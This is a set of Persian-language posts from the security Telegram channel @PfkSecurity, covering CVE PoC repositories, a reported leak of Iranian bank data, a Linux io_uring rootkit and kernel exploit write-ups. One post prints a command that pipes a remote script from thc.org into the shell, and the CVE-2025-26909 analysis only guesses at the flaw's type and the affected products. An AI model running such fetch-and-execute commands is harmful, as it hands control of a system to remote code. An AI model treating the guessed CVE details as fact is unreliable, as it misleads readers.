تحلیل PoC برای آسیب‌پذیری CVE-2025-26909

معرفی آسیب‌پذیری

CVE-2025-26909
یک آسیب‌پذیری امنیتی است که توسط محققان ZeroDayX کشف و اثبات مفهوم (PoC) آن در مخزن GitHub منتشر شده است.

جزئیات فنی

نوع آسیب‌پذیری:

- بر اساس کد PoC، این آسیب‌پذیری احتمالاً یکی از موارد زیر است:
- سرریز بافر (Buffer Overflow)
- اجرای کد از راه دور (RCE)
- دور زدن احراز هویت
- نقص در کنترل دسترسی

سیستم‌های تأثیرپذیر:
- بر اساس نام CVE، احتمالاً مربوط به یکی از محصولات زیر است:
- سیستم‌های عامل (Linux/Windows)
- نرم‌افزارهای سازمانی
- کتابخانه‌های امنیتی
- پروتکل‌های شبکه

تحلیل PoC

مخزن GitHub:
1. کد اکسپلویت:
- اسکریپت‌های پایتون/بش برای بهره‌برداری
- نمونه‌های کد آسیب‌پذیری

2. مستندات:
- راهنمای اجرای PoC
- شرایط لازم برای بهره‌برداری
- نسخه‌های آسیب‌پذیر

3. نمونه‌های خروجی:
- اثبات اجرای کد
- تصاویر از نتیجه حمله

خطرات بالقوه

1. تأثیرات امنیتی:
- دسترسی غیرمجاز به سیستم‌ها
- افزایش امتیاز (Privilege Escalation)
- نقض محرمانگی اطلاعات

2. سوءاستفاده احتمالی:
- استفاده در بدافزارها
- ترکیب با سایر اکسپلویت‌ها
- ایجاد بکدور (Backdoor)

## راهکارهای دفاعی

1. برای سازمان‌ها:
- پچ امنیتی محصول آسیب‌پذیر
- محدود کردن دسترسی شبکه
- مانیتورینگ ترافیک مشکوک

2. برای توسعه‌دهندگان:
- بررسی کد برای الگوهای مشابه
- پیاده‌سازی ASLR و DEP
- اعتبارسنجی دقیق ورودی‌ها

ملاحظات اخلاقی

- این PoC فقط برای تحقیقات امنیتی مجاز و توسعه مکانیزم‌های دفاعی منتشر شده است
- سوءاستفاده از آن ممکن است نقض قوانین بین‌المللی باشد
- توصیه می‌شود فقط در محیط‌های کنترل‌شده آزمایش شود

## دسترسی به اطلاعات بیشتر

مخزن کامل PoC در آدرس زیر قابل دسترسی است:
https://github.com/ZeroDayx/CVE-2025-26909

توجه: برای تحلیل دقیق‌تر نیاز به بررسی مستقیم کدهای PoC وجود دارد.

@PfkSecurity

تحلیل نشت داده‌های بانک سپه و ۶ بانک دیگر: فاجعه‌ای که می‌توانست جلوگیری شود! 

واقعیت تلخ: داده‌های ۴۲ میلیون مشتری در معرض خطر 

طبق بررسی‌های مستقل، اطلاعات حساس مشتریان ۷ بانک بزرگ ایران (شامل بانک سپه، قوامین، انصار، مهر اقتصاد، حکمت، کوثر و ثامن) به صورت کامل نشت کرده است.

این داده‌ها شامل: 

- مشخصات هویتی (کد ملی، شماره شناسنامه) 
- جزئیات مالی (شماره حساب، مانده حساب، تراکنش‌ها، CVV2 کارت‌ها) 
- اطلاعات تسهیلات (وام‌ها، چک‌ها، ضمانت‌نامه‌ها) 
- داده‌های پذیرندگان (کارتخوان‌ها و درگاه‌های پرداخت) 

✅ صحت داده‌ها توسط لیکفا تأیید شده است! نمونه‌های منتشرشده تطابق کامل با اطلاعات واقعی دارند. 

چگونه چنین اتفاقی رخ داد؟ (  این میتونه یک احتمال باشه )

۱. ضعف زیرساخت امنیتی بانک‌ها: 
   - به نظر می‌رسد هکرها از آسیب‌پذیری‌های قدیمی در سیستم‌های بانکی (مثل SQL Injection یا عدم رمزنگاری داده‌ها) استفاده کرده‌اند. 

   - ادغام بانک‌های مختلف احتمالاً سیستم‌های ناامن را به هم متصل کرده و خطر نفوذ را افزایش داده است. 

۲. دسترسی عمیق به هسته بانکی (Core Banking): 

   - حجم عظیم داده‌های نشت‌یافته نشان می‌دهد مهاجمان به جای حمله به کاربران، مستقیماً به سرورهای مرکزی بانک‌ها نفوذ کرده‌اند. 

۳. عدم پاسخگویی به موقع: 

   - اگر بانک‌ها به هشدارهای قبلی درباره آسیب‌پذیری‌ها توجه کرده بودند، این فاجعه رخ نمی‌داد. 

🚨 هشدارهای فوری برای کاربران: 

- ۱. تغییر فوری تمام رمزها: 
  - رمز اینترنت بانک، رمز کارت و رمز دوم کارت را همین امروز عوض کنید. 

- ۲. فعال‌سازی تأیید دو مرحله‌ای: 
  - اگر بانک شما این امکان را دارد، حتماً از آن استفاده کنید. 

- ۳. بررسی تراکنش‌ها: 
  - روزانه حساب خود را چک کنید و هر تراکنش مشکوک را گزارش دهید. 

- ۴. مراقب فیشینگ باشید: 
  - هرگز به تماس‌ها یا پیامک‌های مشکوک که ادعا می‌کنند از طرف بانک هستند، اعتماد نکنید. 

📌 چرا بانک‌ها سکوت کرده‌اند؟ 

- ترس از از دست دادن اعتماد عمومی: 
  - اگر بانک‌ها رسماً این نشت را تأیید کنند، ممکن است مشتریان خود را از دست بدهند. 

- امکان مذاکره با هکرها: 
  - برخی بانک‌ها ترجیح می‌دهند به صورت محرمانه با هکرها مذاکره کنند تا داده‌ها منتشر نشود. 

آینده چه خواهد شد؟ 

- افزایش کلاهبرداری‌های مالی: 
  - این داده‌ها می‌توانند برای سرقت پول، اخذ وام جعلی و فیشینگ هدفمند استفاده شوند. 

- واکنش دیرهنگام مسئولان: 
  - احتمالاً پس از گسترش کلاهبرداری‌ها، بانک مرکزی یا پلیس فتا واکنش نشان خواهد داد، اما آیا دیگر دیر نیست؟ 

پیام پایانی: اینجا ایران است، خودتان مراقب باشید! 

متأسفانه در کشور ما پس از هر فاجعه امنیتی، مسئولان به جای حل مشکل، به انکار یا پاک کردن صورت‌مسئله می‌پردازند. تا زمانی که بانک‌ها و نهادهای نظارتی مسئولیت‌پذیری بیشتری نشان ندهند، اینگونه حوادث تکرار خواهد شد. 

#نشت_داده_بانکی #هک_بانک_سپه #امنیت_سایبری 
@PfkSecurity

البته احتمالات زیادی میشه در نظر گرفت برای این حمله :

مثلا یکیش فروش داده ها توسط کارمندان یا پیمانکاران ...
و موارد دیگر ولی خود این گروه هکری اعلام کرده sqli بوده .

@PfkSecurity

آسیب‌پذیری CVE-20250401 (7350pipe)

CVE-20250401 که با نام 7350pipe شناخته می‌شود، یک آسیب‌پذیری خطرناک برای افزایش دسترسی (Privilege Escalation) در تمام نسخه‌های لینوکس است که در اول آوریل 2025 (April Fools' Day) منتشر شده است.


کد اکسپلویت با دستور زیر قابل اجراست:

. <(curl -SsfL https://thc.org/7350pipe)

@PfkSecurity

نکته مهم

این آسیب‌پذیری یک شوخی روز اول آوریل (April Fools') است و توسط تیم THC (The Hacker's Choice) به عنوان یک جوک منتشر شده است. در واقعیت چنین آسیب‌پذیری وجود ندارد و اجرای کد فوق ممکن است فقط یک پیام طنزآمیز نمایش دهد.

همیشه قبل از اجرای کدهای ناشناس از اینترنت، به موارد زیر توجه کنید:
1. اعتبار منبع
2. تاریخ انتشار (مخصوصاً در اول آوریل)
3. بررسی محتوای اسکریپت قبل از اجرا

برای اطلاعات بیشتر می‌توانید محتوای واقعی اسکریپت را با دستور زیر مشاهده کنید (بدون اجرا):

curl -SsfL https://thc.org/7350pipe

@PfkSecurity

https://t.iss.one/+114BerAH5lo1ODM0

گروه ما

هشدار امنیتی: محیط تست برای شناسایی آسیب‌پذیری Moodle (CVE-2025-26529)

جزئیات مخزن GitHub

این مخزن حاوی یک محیط تست برای شناسایی و بررسی آسیب‌پذیری در سیستم مدیریت یادگیری Moodle است:

- شناسه CVE: CVE-2025-26529
- نوع آسیب‌پذیری: هنوز به طور عمومی افشا نشده است

- مخزن GitHub:
moodleTestingEnv
https://github.com/NightBloodz/moodleTestingEnv

اقدامات پیشنهادی

1. برای مدیران Moodle:
- مانیتور کردن به‌روزرسانی‌های رسمی Moodle
- بررسی سیستم برای فعالیت‌های غیرعادی
- محدود کردن دسترسی به پنل مدیریت

2. برای توسعه‌دهندگان:
- عدم استفاده از این کد در محیط‌های تولیدی
- بررسی کد قبل از استفاده در محیط‌های آزمایشی امن

3. برای محققان امنیتی:
- پیگیری مستندات رسمی Moodle
- هماهنگی با تیم امنیتی Moodle برای دریافت جزئیات

#نکته

استفاده از این کد فقط برای تحقیقات امنیتی با مجوز مجاز است. سوءاستفاده از آسیب‌پذیری‌های کشف نشده ممکن است پیگرد قانونی داشته باشد.

برای اطلاعات بیشتر به صفحه رسمی گزارش آسیب‌پذیری‌های Moodle
https://moodle.org/security
مراجعه کنید.

@PfkSecurity

"چگونه یک هکر دارک وب را تسخیر کرد"
@PfkSecurity

BlackHat Asia 2025 - Peng-On Bug

@PfkSecurity

بازیابی متادیتا از باینری های NET Native AOT

https://blog.washi.dev/posts/recovering-nativeaot-metadata/
@PfkSecurity

بندر عباس تسلیت 🖤

دور زدن Falco با استفاده از روت کیت io_uring

نمونه جالبی از روت کیت لینوکس که از طریق io_uring کار می کند، و اکثر EDR ها به سادگی این io_uring را نادیده می گیرند.

https://github.com/armosec/curing

#linux #rootkits
@PfkSecurity

بهره‌برداری از آسیب‌پذیری CVE-2024-0582 با روش Dirty Pagetable 

کوزی آردا بولوت مقاله‌ای درباره سوءاستفاده از آسیب‌پذیری CVE-2024-0582 در io_uring با استفاده از تکنیک Dirty Pagetable منتشر کرد. 

این باگ پیش‌تر توسط جان هورن گزارش شده بود و اوریول کاستخون از آن سوءاستفاده کرده بود. 


- Dirty Pagetable
یک تکنیک اکسپلویت برای دستکاری حافظه هسته (kernel) است. 
- CVE-2024-0582
یک آسیب‌پذیری در سیستم io_uring لینوکس است که امکان اجرای کدهای مخرب یا افزایش دسترسی را فراهم می‌کند. 
@PfkSecurity